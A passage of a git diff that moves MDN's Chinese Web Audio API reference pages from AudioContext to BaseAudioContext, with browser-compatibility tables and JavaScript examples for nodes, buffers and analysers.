Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
Promise-based syntax{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(33.0)}}
Promise-based syntax{{CompatUnknown}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/destination/index.html b/files/zh-cn/web/api/audiocontext/destination/index.html deleted file mode 100644 index 04fdfe8247..0000000000 --- a/files/zh-cn/web/api/audiocontext/destination/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: AudioContext.destination -slug: Web/API/AudioContext/destination -translation_of: Web/API/BaseAudioContext/destination ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的destination属性返回一个{{ domxref("AudioDestinationNode") }}表示context中所有音频(节点)的最终目标节点,一般是音频渲染设备,比如扬声器。

-
- -

语法

- -
var audioCtx = new AudioContext();
-gainNode.connect(audioCtx.destination);
- -

返回值

- -

An {{ domxref("AudioDestinationNode") }}.

- -

例子

- -
-

注意:想要完整的例子,可以去看看MDN Github repo的DEMO,比如panner-node

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-var oscillatorNode = audioCtx.createOscillator();
-var gainNode = audioCtx.createGain();
-
-oscillatorNode.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-destination', 'destination')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/listener/index.html b/files/zh-cn/web/api/audiocontext/listener/index.html deleted file mode 100644 index 81b2a730a2..0000000000 --- a/files/zh-cn/web/api/audiocontext/listener/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.listener -slug: Web/API/AudioContext/listener -translation_of: Web/API/BaseAudioContext/listener ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的listener属性返回一个{{ domxref("AudioListener") }} 对象,可以用来实现3D音频空间化。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var myListener = audioCtx.listener;
- -

返回值

- -

An {{ domxref("AudioListener") }} object.

- -

例子

- -
-

注意:想要完整的音频空间化例子,可以查看panner-node DEMO

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-var myListener = audioCtx.listener;
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-listener', 'listener')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html b/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html deleted file mode 100644 index 2b7022c1ce..0000000000 --- a/files/zh-cn/web/api/audiocontext/mozaudiochanneltype/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: AudioContext.mozAudioChannelType -slug: Web/API/AudioContext/mozAudioChannelType -translation_of: Web/API/AudioContext/mozAudioChannelType ---- -

{{APIRef("Web Audio API")}} {{Non-standard_header}}

- -

{{domxref("AudioContext")}}的mozAudioChannelType属性是只读的,在Firefox OS设备上可以用来设置音频在audio context中播放的声道。

- -

该属性是AudioChannels API中定义的非标准属性,更多信息请查看Using the AudioChannels API

- -

语法

- -
var audioCtx = new AudioContext();
-var myAudioChannelType = audioCtx.mozAudioChannelType;
-
- -

只能通过下面的构造器来设置AudioContext中音频的声道:

- -
var audioCtx = new AudioContext('ringer');
- -

返回值

- -

A {{domxref("DOMString")}} value.

- -

例子

- -

TBD

- -

规范

- -

AudioChannels API目前没有官方规范,实现细节请查看https://wiki.mozilla.org/WebAPI/AudioChannels、WebIDL等等

- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
General support{{CompatNo}}{{CompatNo}}{{CompatNo}}1.2{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/onstatechange/index.html b/files/zh-cn/web/api/audiocontext/onstatechange/index.html deleted file mode 100644 index ee9b3f21c0..0000000000 --- a/files/zh-cn/web/api/audiocontext/onstatechange/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: AudioContext.onstatechange -slug: Web/API/AudioContext/onstatechange -translation_of: Web/API/BaseAudioContext/onstatechange ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的onstatechange属性定义了一个事件处理器函数,触发{{Event("statechange")}}会被调用,也就是说audio context的状态发生变化时会执行。

-
- -

语法

- -
var audioCtx = new AudioContext();
-audioCtx.onstatechange = function() { ... };
- -

例子

- -

下面这段代码是AudioContext states DEMO (直接运行)中的,其中onstatechange处理器会在每次当前{{domxref("state")}}发生变化时把它输出到控制台。

- -
audioCtx.onstatechange = function() {
-  console.log(audioCtx.state);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-onstatechange', 'onstatechange')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/samplerate/index.html b/files/zh-cn/web/api/audiocontext/samplerate/index.html deleted file mode 100644 index b811702e26..0000000000 --- a/files/zh-cn/web/api/audiocontext/samplerate/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: AudioContext.sampleRate -slug: Web/API/AudioContext/sampleRate -translation_of: Web/API/BaseAudioContext/sampleRate ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的sampleRate属性返回一个浮点数表示采样率(每秒采样数), 同一个AudioContext中的所有节点采样率相同,所以不支持采样率转换。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var mySampleRate = audioCtx.sampleRate;
- -

返回值

- -

A floating point number.

- -

例子

- -
-

注意:想要完整的Web Audio实例,可以查看MDN Github repo上的Web Audio Demo,比如panner-node。不妨试试在浏览器控制台输入audioCtx.sampleRate

-
- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-// Older webkit/blink browsers require a prefix
-
-...
-
-console.log(audioCtx.sampleRate);
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-sampleRate', 'sampleRate')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/state/index.html b/files/zh-cn/web/api/audiocontext/state/index.html deleted file mode 100644 index 97876f5d3d..0000000000 --- a/files/zh-cn/web/api/audiocontext/state/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: AudioContext.state -slug: Web/API/AudioContext/state -translation_of: Web/API/BaseAudioContext/state ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的state属性是只读的,返回AudioContext的当前状态。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var myState = audioCtx.state;
- -

返回值

- -

{{domxref("DOMString")}},可能的值如下:

- - - -

例子

- -

下面这段代码是AudioContext states demo (直接运行)中的,其中{{domxref("AudioContext.onstatechange")}}处理器会在每次当前状态发生变化时把它输出到控制台。

- -
audioCtx.onstatechange = function() {
-  console.log(audioCtx.state);
-}
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-state', 'state')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}} {{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html b/files/zh-cn/web/api/audionode/connect(audioparam)/index.html deleted file mode 100644 index eb82534aed..0000000000 --- a/files/zh-cn/web/api/audionode/connect(audioparam)/index.html +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: AudioNode.connect(AudioParam) -slug: Web/API/AudioNode/connect(AudioParam) -translation_of: Web/API/AudioNode/connect(AudioParam) ---- -

{{ APIRef("Web Audio API") }}

- -
-

允许我们将当前节点的一个输出连接到音频参数的一个输入,并允许通过音频信号控制参数。
- 使AudioNode输出连接到多个AudioParam,并将多个AudioNode输出连接到单个 AudioParam,同时多次调用connect()。因此支持Fan-in and fan-out。
-  AudioParam可以从连接到它的任何AudioNode输出获取渲染的音频数据,并通过下混合将其转换为单声道(如果本身不是单声道的话)。然后,它将其他这样的输出和固定参数混合( AudioParam的值通常没有任何连接),包括为参数调度的任何时间的变化。
- 因此,可以通过将AudioParam的值设置为中心频率来选择AudioParam将要更改的范围,并使用音频源和AudioParam之间的GainNode来调整AudioParam更改的范围。

-
- -

Syntax

- -
var lfo = audioCtx.createOscillator();
-lfo.frequency.value = 2.0; // Hz, two times per second
-
-var lfoGain = audioCtx.createGain();
-lfoGain.gain.value = 0.5;
-
-// this is the parameter that is going to be modulated
-var gain = audioCtx.createGain();
-gain.gain.value = 0.5;
-
-// Oscillators go from -1 to 1
-// Make it go from -0.5 to +0.5 by connecting it to a GainNode with a gain value of 0.5
-lfo.connect(lfoGain);
-
-// because the value of the gain.gain AudioParam is originaly 0.5, the value is added, and it will go from 0.0 to 1.0
-lfoGain.connect(gain.gain);
-
-lfo.connect(gain.gain);
- -
-

Note: There can only be one connection between an output from one specific AudioNode and an {{ domxref("AudioParam") }}. Multiple connections to the same termini are equivalent to a single such connection (the duplicates are ignored).

-
- -

Returns

- -

Void.

- -

Example

- -

In this example, we will be altering the gain value of a {{domxref("GainNode")}} using an {{domxref("OscillatorNode")}} with a slow frequency value. This technique is know as an LFO-controlled parameter.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-
-var audioCtx = new AudioContext();
-
-// create an normal oscillator to make sound
-var oscillator = audioCtx.createOscillator();
-
-// create a second oscillator that will be used as an LFO (Low-frequency
-// oscillator), and will control a parameter
-var lfo = audioCtx.createOscillator();
-
-// set the frequency of the second oscillator to a low number
-lfo.frequency.value = 2.0; // 2Hz: two oscillations par second
-
-// create a gain whose gain AudioParam will be controlled by the LFO
-var gain = audioCtx.createGain();
-
-// connect the LFO to the gain AudioParam. This means the value of the LFO
-// will not produce any audio, but will change the value of the gain instead
-lfo.connect(gain.gain);
-
-// connect the oscillator that will produce audio to the gain
-oscillator.connect(gain);
-
-// connect the gain to the destination so we hear sound
-gain.connect(audioCtx.destination);
-
-// start the oscillator that will produce audio
-oscillator.start();
-
-// start the oscillator that will modify the gain value
-lfo.start();
- -

Parameters

- -
-
Destination
-
The {{ domxref("AudioParam") }} you are connecting to.
-
Output (optional)
-
An index describing which output of the current AudioNode you want to connect to the {{ domxref("AudioParam") }}. The index numbers are defined according to the number of output channels (see Audio channels.)  If this parameter is out-of-bound, an INDEX_SIZE_ERR exception is thrown.
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioNode-connect-void-AudioParam-destination-unsigned-long-output', 'connect(AudioParam)')}}{{Spec2('Web Audio API')}} 
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html new file mode 100644 index 0000000000..2d00a8a100 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html @@ -0,0 +1,154 @@ +--- +title: AudioContext.createAnalyser() +slug: Web/API/AudioContext/createAnalyser +translation_of: Web/API/BaseAudioContext/createAnalyser +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

+
+ +
+

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+ +

返回值

+ +

{{domxref("AnalyserNode")}}对象

+ +

例子

+ +

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.fftSize;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html new file mode 100644 index 0000000000..fa5884ad71 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html @@ -0,0 +1,139 @@ +--- +title: AudioContext.createBiquadFilter() +slug: Web/API/AudioContext/createBiquadFilter +tags: + - API + - EQ + - Web Audio API + - 参考 + - 方法 + - 滤波器 +translation_of: Web/API/BaseAudioContext/createBiquadFilter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var biquadFilter = audioCtx.createBiquadFilter();
+ +

返回

+ +

一个 {{domxref("BiquadFilterNode")}}.

+ +

示例

+ +

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+//set up the different audio nodes we will use for the app
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+var convolver = audioCtx.createConvolver();
+
+// connect the nodes together
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// Manipulate the Biquad filter
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

 

+ +

相关

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html new file mode 100644 index 0000000000..2d29213737 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html @@ -0,0 +1,181 @@ +--- +title: AudioContext.createBuffer() +slug: Web/API/AudioContext/createBuffer +tags: + - 创建音频片段 + - 接口 + - 方法 + - 音频环境 +translation_of: Web/API/BaseAudioContext/createBuffer +--- +

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

+ +

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

+ +
+

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

+
+ +

语法

+ +
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
+ +

参数

+ +
+

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

+
+ +
+
numOfChannels
+
一个定义了 buffer 中包含的声频通道数量的整数。
+ 一个标准的实现必须包含至少32个声频通道。
+
 
+
length
+
一个代表 buffer 中的样本帧数的整数。
+
sampleRate
+
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
+
+ +

 

+ +

返回值

+ +

一个 {{domxref("AudioBuffer")}}。

+ +

示例

+ +

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(2, 22050, 44100);
+ +

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(1, 22050, 22050);
+ +

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

+ +
+

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

+
+ +

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// 立体声
+var channels = 2;
+// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // 使用白噪声填充;
+  // 就是 -1.0 到 1.0 之间的随机数
+  for (var channel = 0; channel < channels; channel++) {
+   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
+  // 当我们想播放音频片段时,我们会用到这个源节点。
+  var source = audioCtx.createBufferSource();
+  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
+  source.buffer = myArrayBuffer;
+  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
+  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
+  source.connect(audioCtx.destination);
+  // 开始播放声源
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html new file mode 100644 index 0000000000..5244513312 --- /dev/null +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html @@ -0,0 +1,150 @@ +--- +title: AudioContext.createBufferSource() +slug: Web/API/AudioContext/createBufferSource +tags: + - API + - 音源 + - 音频源 + - 音频节点 +translation_of: Web/API/BaseAudioContext/createBufferSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createBufferSource();
+ +

返回

+ +

一个{{domxref("AudioBufferSourceNode")}}对象.

+ +

例子

+ +

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

+ +
+

Note: You can also run the code live, or view the source.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
